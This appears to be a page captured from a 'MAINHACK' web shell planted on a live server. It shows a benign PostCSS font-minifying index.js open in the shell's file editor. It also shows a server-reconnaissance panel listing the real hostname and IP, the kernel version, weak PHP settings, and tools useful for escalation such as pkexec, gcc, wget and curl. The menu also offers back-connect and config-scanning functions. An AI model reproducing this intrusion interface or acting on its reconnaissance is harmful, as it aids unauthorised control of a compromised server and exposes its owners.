[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _postcssValueParser = _interopRequireDefault(require("postcss-value-parser")); var _minifyWeight = _interopRequireDefault(require("./lib/minify-weight")); var _minifyFamily = _interopRequireDefault(require("./lib/minify-family")); var _minifyFont = _interopRequireDefault(require("./lib/minify-font")); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function hasVariableFunction(value) { const lowerCasedValue = value.toLowerCase(); return lowerCasedValue.includes('var(') || lowerCasedValue.includes('env('); } function transform(prop, value, opts) { let lowerCasedProp = prop.toLowerCase(); if (lowerCasedProp === 'font-weight' && !hasVariableFunction(value)) { return (0, _minifyWeight.default)(value); } else if (lowerCasedProp === 'font-family' && !hasVariableFunction(value)) { const tree = (0, _postcssValueParser.default)(value); tree.nodes = (0, _minifyFamily.default)(tree.nodes, opts); return tree.toString(); } else if (lowerCasedProp === 'font') { const tree = (0, _postcssValueParser.default)(value); tree.nodes = (0, _minifyFont.default)(tree.nodes, opts); return tree.toString(); } return value; } function pluginCreator(opts) { opts = Object.assign({}, { removeAfterKeyword: false, removeDuplicates: true, removeQuotes: true }, opts); return { postcssPlugin: 'postcss-minify-font-values', prepare() { const cache = new Map(); return { OnceExit(css) { css.walkDecls(/font/i, decl => { const value = decl.value; if (!value) { return; } const prop = decl.prop; const cacheKey = `${prop}|${value}`; if (cache.has(cacheKey)) { decl.value = cache.get(cacheKey); return; } const newValue = transform(prop, value, opts); decl.value = newValue; cache.set(cacheKey, newValue); }); } }; } }; } pluginCreator.postcss = true; var _default = pluginCreator; exports.default = _default; module.exports = exports.default;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002